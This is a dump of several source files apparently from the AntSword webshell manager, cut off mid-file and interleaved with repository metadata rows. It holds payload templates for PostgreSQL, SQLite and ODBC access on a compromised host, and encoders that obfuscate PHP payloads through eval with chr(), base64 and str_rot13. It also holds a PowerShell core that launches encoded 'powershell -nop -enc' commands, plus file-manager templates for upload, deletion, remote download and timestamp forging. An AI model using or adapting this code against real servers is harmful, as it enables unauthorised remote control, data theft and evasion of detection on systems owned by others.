$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
list($host,$port,$dbn) = explode(":", $hst);
$port == "" ? $port = "5432" : $port;
$dbn == "" ? $dbn = "postgres" : $dbn;
$arr=array(
'host'=>$host,
'port'=>$port,
'user'=>$usr,
'password'=>$pwd,
'dbname'=>$dbn
);
$cs='';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v ";
}
$T=@pg_connect($cs);
if(!$T){
echo("ERROR://".@pg_last_error());
}else{
$q=@pg_query($T,"SELECT datname FROM pg_database where datistemplate='f';");
if(!$q){
echo("ERROR://".@pg_last_error());
}else{
while($rs=@pg_fetch_row($q)){
echo(trim($rs[0]).chr(9));
}
@pg_free_result($q);
}
@pg_close($T);
}`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}'
},
//
show_tables: {
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
list($host, $port) = explode(":", $hst);
$port == "" ? $port = "5432" : $port;
$arr=array(
'host'=>$host,
'port'=>$port,
'user'=>$usr,
'password'=>$pwd,
'dbname'=>$dbn,
);
$cs='';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v ";
}
$T=@pg_connect($cs);
if(!$T){
echo("ERROR://".@pg_last_error());
}else{
$q=@pg_query($T,"SELECT table_name FROM information_schema.tables WHERE table_type='BASE TABLE' AND table_schema NOT IN ('pg_catalog', 'information_schema');");
if(!q){
echo("ERROR://".@pg_last_error());
}else{
while($rs=@pg_fetch_row($q)){
echo(trim($rs[0]).chr(9));
}
@pg_free_result($q);
}
@pg_close($T);
}`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}'
},
//
show_columns: {
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$tab=$m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"];
list($host, $port) = explode(":", $hst);
$port == "" ? $port = "5432" : $port;
$arr=array(
'host'=>$host,
'port'=>$port,
'user'=>$usr,
'password'=>$pwd,
'dbname'=>$dbn,
);
$cs='';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v ";
}
$T=@pg_connect($cs);
if(!$T){
echo("ERROR://".@pg_last_error());
}else{
$q=@pg_query($T,"SELECT column_name,udt_name,character_maximum_length FROM information_schema. COLUMNS WHERE TABLE_NAME = '{$tab}';");
if(!$q){
echo("ERROR://".@pg_last_error());
}else{
while($rs=@pg_fetch_row($q)){
$len=$rs[2]?$rs[2]:"0";
echo(trim($rs[0])." ({$rs[1]}({$len}))".chr(9));
}
@pg_free_result($q);
}
@pg_close($T);
}`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{table}'
},
// SQL
query: {
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$sql=base64_decode($_POST["${arg5}"]);
$encode=$m?stripslashes($_POST["${arg6}"]):$_POST["${arg6}"];
list($host, $port) = explode(":", $hst);
$port == "" ? $port = "5432" : $port;
$arr=array(
'host'=>$host,
'port'=>$port,
'user'=>$usr,
'password'=>$pwd,
'dbname'=>$dbn,
);
$cs='';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v ";
}
$T=@pg_connect($cs);
if(!$T){
echo("ERROR://".@pg_last_error());
}else{
$q=@pg_query($T, $sql);
if(!$q){
echo("ERROR://".@pg_last_error());
}else{
$n=@pg_num_fields($q);
if($n===NULL){
echo("Status\\t|\\t\\r\\n");
echo(base64_encode("ERROR://".@pg_last_error())."\\t|\\t\\r\\n");
}elseif($n===0){
echo("Affect Rows\\t|\\t\\r\\n".base64_encode(@pg_affected_rows($q))."\\t|\\t\\r\\n");
}else{
for($i=0;$i<$n;$i++){
echo(@pg_field_name($q,$i)."\\t|\\t");
}
echo "\\r\\n";
while($row=@pg_fetch_row($q)){
for($i=0;$i<$n;$i++){
echo(base64_encode($row[$i]!==NULL?$row[$i]:"NULL")."\\t|\\t");
}
echo "\\r\\n";
}
}
@pg_free_result($q);
}
@pg_close($T);
}`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{base64::sql}',
[arg6]: '#{encode}'
}
})
``` | /content/code_sandbox/source/core/php/template/database/postgresql.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,913 |
```javascript
/**
* php::chr
* ? phpchr
*/
'use strict'
module.exports = (pwd, data, ext = null) => {
//
const encode = (php) => {
let ret = [];
let i = 0;
while (i < php.length) {
ret.push(php[i].charCodeAt());
i++;
}
return `@eVAl(cHr(${ret.join(').ChR(')}));`;
}
//
data[pwd] = encode(data._);
delete data._;
//
return data;
}
``` | /content/code_sandbox/source/core/php/encoder/chr.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 127 |
```javascript
/**
* :: sqlite3 pdo
* i => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$cs='sqlite:'.$hst;
$dbh=new PDO($cs,'','');
if(!$dbh){
echo("ERROR://CONNECT ERROR");
}else{
echo("main".chr(9));
$dbh=null;
}`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}'
},
//
show_tables: {
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$cs='sqlite:'.$hst;
$dbh=new PDO($cs,'','');
if(!$dbh){
echo("ERROR://CONNECT ERROR");
}else{
$query="select tbl_name from sqlite_master where type='table' order by tbl_name;";
$result=$dbh->prepare($query);
$result->execute();
while($res=$result->fetch(PDO::FETCH_ASSOC)){
echo(trim($res['tbl_name']).chr(9));
}
$dbh=null;
}`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}'
},
//
show_columns: {
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$tab=$m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"];
$cs='sqlite:'.$hst;
$dbh=new PDO($cs,'','');
if(!$dbh){
echo("ERROR://CONNECT ERROR");
}else{
$query="pragma table_info('{$tab}');";
$result=$dbh->prepare($query);
$result->execute();
while($res=$result->fetch(PDO::FETCH_ASSOC)){
echo(trim($res['name'])." ({$res['type']})".chr(9));
}
$dbh = null;
}`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{table}'
},
// SQL
query: {
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$sql=base64_decode($_POST["${arg5}"]);
$encode=$m?stripslashes($_POST["${arg6}"]):$_POST["${arg6}"];
$cs='sqlite:'.$hst;
$dbh=new PDO($cs,'','');
if(!$dbh){
echo("ERROR://CONNECT ERROR");
}else{
$result=$dbh->prepare($sql);
if(!$result->execute()){
echo("Status\\t|\\t\\r\\n");
$err="";
foreach(@$result->errorInfo() as $v){
$err.=$v." ";
}
echo(base64_encode("ERROR://".$err)."\\t|\\t\\r\\n");
}else{
$bool=True;
while($res=$result->fetch(PDO::FETCH_ASSOC)){
if($bool){
foreach($res as $key=>$value){
echo($key."\\t|\\t");
}
echo "\\r\\n";
$bool=False;
}
foreach($res as $key=>$value){
echo(base64_encode($value!==NULL?$value:"NULL")."\\t|\\t");
}
echo "\\r\\n";
}
if($bool){
if(!$result->columnCount()){
echo("Affect Rows\\t|\\t\\r\\n".base64_encode($result->rowCount())."\\t|\\t\\r\\n");
}else{
echo("Status\\t|\\t\\r\\n");
echo(base64_encode("ERROR://Table is empty.")."\\t|\\t\\r\\n");
}
}
}
$dbh = null;
}`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{base64::sql}',
[arg6]: '#{encode}'
}
})
``` | /content/code_sandbox/source/core/php/template/database/sqlite_pdo.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,177 |
```javascript
/**
* php::chr16
* ? phpchr
*/
'use strict'
module.exports = (pwd, data, ext = null) => {
//
const encode = (php) => {
let ret = [];
let i = 0;
while (i < php.length) {
ret.push(php[i].charCodeAt().toString(16));
i++;
}
return `@eVAl(cHr(0x${ret.join(').ChR(0x')}));`;
}
//
data[pwd] = encode(data._);
delete data._;
//
return data;
}
``` | /content/code_sandbox/source/core/php/encoder/chr16.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 137 |
```javascript
/**
* php::str_rot13
* ? php rot13
*/
'use strict';
module.exports = (pwd, data, ext = null) => {
const encode = (s) => {
//use a Regular Expression to Replace only the characters that are a-z or A-Z
return s.replace(/[a-zA-Z]/g, function (c) {
// Get the character code of the current character and add 13 to it If it is
// larger than z's character code then subtract 26 to support wrap around.
return String.fromCharCode((c <= "Z" ?
90 :
122) >= (c = c.charCodeAt(0) + 13) ?
c :
c - 26);
});
}
//
let randomID;
if (ext.opts.otherConf['use-random-variable'] === 1) {
randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
} else {
randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
}
data[randomID] = encode(data['_']);
data[pwd] = `@eval(@str_rot13($_POST['${randomID}']));`;
delete data['_'];
return data;
}
``` | /content/code_sandbox/source/core/php/encoder/rot13.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 279 |
```javascript
/**
* php::base64
* ? phpbase64_decode
*/
'use strict';
module.exports = (pwd, data, ext = null) => {
//
let randomID;
if (ext.opts.otherConf['use-random-variable'] === 1) {
randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
} else {
randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
}
data[randomID] = Buffer
.from(data['_'])
.toString('base64');
data[pwd] = `@eval(@base64_decode($_POST['${randomID}']));`;
delete data['_'];
return data;
}
``` | /content/code_sandbox/source/core/php/encoder/base64.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 163 |
```javascript
/**
* PSWindows
*/
'use strict';
// import Base from '../base';
const Base = require('../base');
class PSWINDOWS extends Base {
static get supportRawBody() {
return true;
}
constructor(opts) {
super(opts);
//
[
'base',
'command',
'filemanager',
'database/mysql_odbc',
'database/sqlserver_odbc',
'database/sqlserver_sqlclient',
].map((_) => {
this.parseTemplate(`./pswindows/template/${_}`);
});
//
this
.encoders
.map((_) => {
this.parseEncoder(`./pswindows/encoder/${_}`);
});
this
.decoders
.map((_) => {
this.parseDecoder(`./pswindows/decoder/${_}`);
});
}
/**
*
* ? antSword.core.php.prototype.encoders
* @return {array}
*/
get encoders() {
return ["base64"];
}
get decoders() {
return ["default", "base64", "hex"];
}
/**
* HTTP
* @param {Object} data
* @param {bool} force_default default
* @return {Promise} Promise
*/
complete(data, force_default = false) {
//
let tag_s, tag_e;
if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tags']) {
tag_s = this.__opts__['otherConf']['custom-datatag-tags'];
} else {
tag_s = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "->|";
}
if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tage']) {
tag_e = this.__opts__['otherConf']['custom-datatag-tage'];
} else {
tag_e = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "|<-";
}
let asencCode;
let ext = {
opts: this.__opts__,
};
if (!force_default) {
asencCode = this.__decoder__[this.__opts__['decoder'] || 'default'].asoutput(ext);
} else {
asencCode = this.__decoder__['default'].asoutput(ext);
}
//
let tmpCode = data['_'];
data['_'] = `$TAGS=[System.String]::Concat('${tag_s.substr(0,tag_s.length/2)}','${tag_s.substr(tag_s.length/2)}');$TAGE=[System.String]::Concat('${tag_e.substr(0,tag_e.length/2)}','${tag_e.substr(tag_e.length/2)}');${asencCode};function asexec() { ${tmpCode} };$RESP='';try{$RESP=asenc(asexec);}catch{$RESP=asenc([System.String]::Format('ERROR:// {0}',$_.ToString()));};[System.String]::Format('{0}{1}{2}',$TAGS,$RESP,$TAGE);`;
data['_'] = `powershell -nop -enc ${this.Base64UTF16(data['_'])}`;
//
return this.encodeComplete(tag_s, tag_e, data);
}
// path_to_url
Base64UTF16(cmd) {
var ar = new Array(cmd.length * 2),
i, j, s, b64;
// build array of bytes
for (i = 0, j = 0; i < cmd.length; j = 2 * ++i) {
ar[j] = cmd.charCodeAt(i);
}
// build string from array
s = String.fromCharCode.apply(String, ar);
// to base64
b64 = btoa(s);
return b64;
}
}
module.exports = PSWINDOWS;
``` | /content/code_sandbox/source/core/pswindows/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 918 |
```javascript
/**
* cmdlinux::hex
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc
*/
asoutput: () => {
return `function asenc(){ param ([System.String] $s) return [System.BitConverter]::ToString([System.Text.Encoding]::Default.GetBytes($s)).Replace('-','');};`.replace(/\n\s+/g, '')
},
/**
* Buffer
* @param {Buffer} buff Buffer
* @returns {Buffer} Buffer
*/
decode_buff: (buff) => {
return Buffer.from(buff.toString().replace(/\n/g, ''), 'hex');
}
}
``` | /content/code_sandbox/source/core/pswindows/decoder/hex.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 145 |
```javascript
/**
* cmdlinux::base64
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc
*/
asoutput: () => {
// return `function asenc(){ param ([Parameter(ValueFromPipeline)]$s) process{ [System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($s));}};`
return `function asenc(){ param ([System.String] $s) return [System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($s));};`
},
/**
* Buffer
* @param {Buffer} buff Buffer
* @returns {Buffer} Buffer
*/
decode_buff: (buff) => {
console.log(Buffer.from(buff.toString(), 'base64'));
return Buffer.from(buff.toString(), 'base64');
}
}
``` | /content/code_sandbox/source/core/pswindows/decoder/base64.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 186 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
exec: {
_: `$c=New-Object System.Diagnostics.ProcessStartInfo -ArgumentList '#{bin}';
$e=New-Object System.Diagnostics.Process;
$c.UseShellExecute=$false;
$c.RedirectStandardInput=$true;
$c.RedirectStandardOutput=$true;
$c.RedirectStandardError=$true;
$c.CreateNoWindow=$true;
$e.StartInfo=$c;
$c.Arguments = '/c ' + [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::cmd}'));
$env=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::env}'));
if($env.Length -ne 0){
$envarr = [System.Text.RegularExpressions.Regex]::Split($env, '\\|\\|\\|asline\\|\\|\\|');
for($i=0;$i -lt $envarr.Length;$i++){
$ss = [System.Text.RegularExpressions.Regex]::Split($envarr[$i], '\\|\\|\\|askey\\|\\|\\|');
if($ss.Length -ne 2){continue;};
$c.EnvironmentVariables.Add($ss[0],$ss[1]);
};
};
$aa=$e.Start();
$OT=$e.StandardOutput;
$ER=$e.StandardError;
$e.Close();
return $OT.ReadToEnd()+$ER.ReadToEnd();`.replace(/\n\s+/g, ''),
},
listcmd: {
_: `$ret='';
$Tab=[char]9;
$Line=[char]10;
$ss=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::binarr}')).Split(',');
for ($i = 0; $i -lt $ss.Length; $i++){
$flag='0';
if([System.IO.File]::Exists($ss[$i])){
$flag='1';
}
$ret += ($ss[$i]+$Tab+$flag+$Line);
};
return $ret;`.replace(/\n\s+/g, '')
}
})
``` | /content/code_sandbox/source/core/pswindows/template/command.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 486 |
```javascript
/**
*
* ?
*/
module.exports = () => ({
info: {
// [System.IO.DriveInfo]::GetDrives()|Where-Object{$_.DriveType -eq 3}|ForEach-Object{$ADRIVERS+=$_.Name.substring(0,2)};
// Write-Output $ACWD$TAB$ADRIVERS$TAB$AUNAME$TAB$AUSER;
_: `$ret='';
$Tab=[char]9;
$ACWD=$pwd.Path;
$AUSER=[System.Security.Principal.WindowsIdentity]::GetCurrent().Name;
$AUNAME=[System.Environment]::OSVersion.VersionString;
$ADRIVERS='';
$c=[System.IO.DriveInfo]::GetDrives();
for($i=0;$i -lt $c.Length;$i++){
if($c[$i].DriveType -eq 3){
$ADRIVERS+=$c[$i].Name.Substring(0,2);
}
};
$ret=$ACWD+$TAB+$ADRIVERS+$TAB+$AUNAME+$TAB+$AUSER;
return $ret;
`.replace(/\n\s+/g, '')
},
probedb: { //
_: `$ret='';
$TAB=[char]9;
$Line=[char]10;
$OP='HKLM:/HKEY_LOCAL_MACHINE/SOFTWARE/ODBC/ODBCINST.INI/ODBC Drivers';
$ODBC=(Get-Item -Force -LiteralPath $OP);$ODBC.Property|ForEach-Object{
$ret+='[ODBC Drivers]'+$_+$TAB;
if($ODBC.GetValue($_).Equals('Installed')){
$ret+='1';
}else{
$ret+='0';
};
$ret+=$Line;
};
return $ret;
`.replace(/\n\s+/g, '')
}
})
``` | /content/code_sandbox/source/core/pswindows/template/base.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 402 |
```javascript
/**
* cmdlinux::default
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc
*/
asoutput: () => {
//
// return `function asenc(){ param ([Parameter(ValueFromPipeline)]$s) process{ Write-Host -NoNewline $s;}};`.replace(/\n\s+/g, '');
return `function asenc(){ param ([System.String] $s) return $s;};`.replace(/\n\s+/g, '');
},
/**
* Buffer
* @param {Buffer} buff Buffer
* @returns {Buffer} Buffer
*/
decode_buff: (buff) => {
return buff;
}
}
``` | /content/code_sandbox/source/core/pswindows/decoder/default.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 158 |
```javascript
/**
* odbc
* i => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$sql='SHOW DATABASES';
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0}{1}',$reader.GetString(0),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
//
show_tables: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql=[System.String]::Format('SHOW TABLES FROM {0}', $dbname);
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0}{1}',$reader.GetString(0),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
//
show_columns: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$table=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::table}'));
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql=[System.String]::Format('SHOW COLUMNS FROM {0}.{1}', $dbname, $table);
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0} ({1}){2}',$reader.GetString(0), $reader.GetString(1),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
// SQL
query: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$needcolumnname=$TRUE;
$columnsep=[System.String]::Format('{0}|{1}',[char]9,[char]9);
$rowsep=[System.String]::Format('{0}{1}',[char]10,[char]13);
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::sql}'));
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$conn.ChangeDatabase($dbname);
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
if(($reader.HasRows -eq $FALSE) -and ($reader.VisibleFieldCount -eq 0)) {
$sb.AppendFormat('Affect Rows{0}{1}{2}{3}{4}',$columnsep, $rowsep,[System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($reader.RecordsAffected)),$columnsep, $rowsep)|Out-Null;
return $sb.ToString();
}
if($needcolumnname) {
for($i=0; $i -lt $reader.FieldCount; $i++){
$sb.AppendFormat('{0}{1}',$reader.GetName($i),$columnsep)|Out-Null;
}
$sb.Append($rowsep)|Out-Null;
}
while($reader.Read()){
for($i=0; $i -lt $reader.FieldCount; $i++){
if($reader.IsDBNull($i)){
$sb.AppendFormat('TlVMTA=={0}', $columnsep)|Out-Null;
}else{
$sb.AppendFormat('{0}{1}',[System.Convert]::ToBase64String([System.Text.Encoding]::Default.GetBytes($reader.GetValue($i).ToString())), $columnsep)|Out-Null;
}
}
$sb.Append($rowsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
}
})
``` | /content/code_sandbox/source/core/pswindows/template/database/odbc.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,234 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
dir: {
_: `Get-ChildItem -ErrorAction Stop -Force -Path '#{path}'|ForEach-Object{
$Tab=[char]9;
$ISDir='';
if($_.Mode.StartsWith('d')){
$ISDir='/';
};
$_.Name+$ISDIR+$Tab+$_.LastWriteTime+$Tab+$_.Length+$Tab+$_.Mode
}|Out-String;`.replace(/\n\s+/g, ''),
},
delete: {
_: `Remove-Item -Recurse -Force -LiteralPath '#{path}' -ErrorAction Stop;
return '1';
`.replace(/\n\s+/g, ''),
},
create_file: {
// New-Item , -Encoding v5
// _: `try { [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::content}'))|New-Item -ItemType File -Force -Path '#{path}' -ErrorAction Stop|Out-Null;'1';}catch{'0';}`.replace(/\n\s+/g, ''),
_: `$C=[byte[]] -split ('#{buffer::content}' -replace '..', '0x$& ');
[System.IO.File]::WriteAllBytes('#{path}',$C);
return '1';
`.replace(/\n\s+/g, ''),
},
read_file: {
_: `Get-Content -ErrorAction Stop -LiteralPath '#{path}'|Out-String;`
},
copy: {
_: `Copy-Item -Recurse -Force -LiteralPath '#{path}' -Destination '#{target}' -ErrorAction Stop; return '1';`.replace(/\n\s+/g, '')
},
download_file: {
/* , ASCII
, request download
error eg:
origin: ff d8 ff e0 00 10 4a 46
download: ff 3f 3f 10 4a 46 49 46
*/
_: `[System.Text.Encoding]::Default.GetString([System.IO.File]::ReadAllBytes('#{path}'));`.replace(/\n\s+/g, '')
},
upload_file: {
_: `$C=[byte[]] -split ('#{buffer::content}' -replace '..', '0x$& ');
$FS=[System.IO.File]::Open('#{path}',[System.IO.FileMode]::Append);
$FS.Write($C,0,$C.Length);
$FS.Close();
return '1';
`.replace(/\n\s+/g, ''),
},
rename: {
_: `Rename-Item -Force -LiteralPath '#{path}' -NewName '#{name}' -ErrorAction Stop; return '1';`.replace(/\n\s+/g, '')
},
retime: {
_: `$F=(Get-Item -Force '#{path}' -ErrorAction Stop);
$F.CreationTime=('#{time}');
$F.LastAccessTime=('#{time}');
$F.LastWriteTime=('#{time}');
return '1';
`.replace(/\n\s+/g, '')
},
chmod: {
// $F=(Get-Item '#{path}');$F.Mode=('#{mode}');'1'}catch{'0'}
// windows /
// windows , IsReadOnly IsHidden
// path_to_url
// path_to_url
// darhs
//
// Directory d----
// Archive(File) -a---
// ReadOnly Archive -ar--
// Hidden Archive -a-h-
// System File -a-h-s
_: `
if([System.Environment]::OSVersion.VersionString.ToLower().Contains('windows') -eq $False){
return 'ERROR:// not support';
};
$M='#{mode}'.ToLower();
$P='#{path}';
if($M.Length -ne 5){ return 'ERROR:// File Mode Pattern length not equals 5, eg: -arh-';};
$F=(Get-Item -Force -LiteralPath $P -ErrorAction Stop);
$FM=$F.Mode.ToLower();
if($FM[2] -ne $M[2]){$F.Attributes=$F.Attributes -bxor [System.IO.FileAttributes]::ReadOnly};
if($FM[3] -ne $M[3]){$F.Attributes=$F.Attributes -bxor [System.IO.FileAttributes]::Hidden};
if($FM[4] -ne $M[4]){$F.Attributes=$F.Attributes -bxor [System.IO.FileAttributes]::System};
return '1';
`.replace(/\n\s+/g, '')
},
mkdir: {
_: `New-Item -ItemType Directory -Path '#{path}' -ErrorAction Stop|Out-Null;return '1';`,
},
wget: {
_: `Invoke-WebRequest -ErrorAction Stop -URI '#{url}' -OutFile '#{path}'; return '1';`.replace(/\n\s+/g, '')
},
filehash: {
_: `$ret='';
$Tab=[char]9;
$Line=[char]10;
$hashlist=@('MD5','SHA1');
for($i=0;$i -lt $hashlist.Length; $i++){
$FH=(Get-FileHash -LiteralPath '#{path}' -Algorithm $hashlist[$i] -ErrorAction Stop);
$ret+=$FH.Algorithm+$Tab+$FH.Hash+$Line;
};
return $ret;
`.replace(/\n\s+/g, ''),
},
})
``` | /content/code_sandbox/source/core/pswindows/template/filemanager.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,221 |
```javascript
/**
* ::mysql
* i => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
$sql='SHOW DATABASES';
$command = New-Object System.Data.Odbc.OdbcCommand($sql, $conn);
$conn.Open();
$reader=$command.ExecuteReader();
$sb=New-Object System.Text.StringBuilder;
while($reader.Read()){
$sb.AppendFormat('{0}{1}',$reader.GetString(0),$columnsep)|Out-Null;
}
$reader.Close();
return $sb.ToString();`.replace(/\n\s+/g, ''),
},
//
show_tables: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$dbname=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::db}'));
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=New-Object System.Data.Odbc.OdbcConnection($connstr);
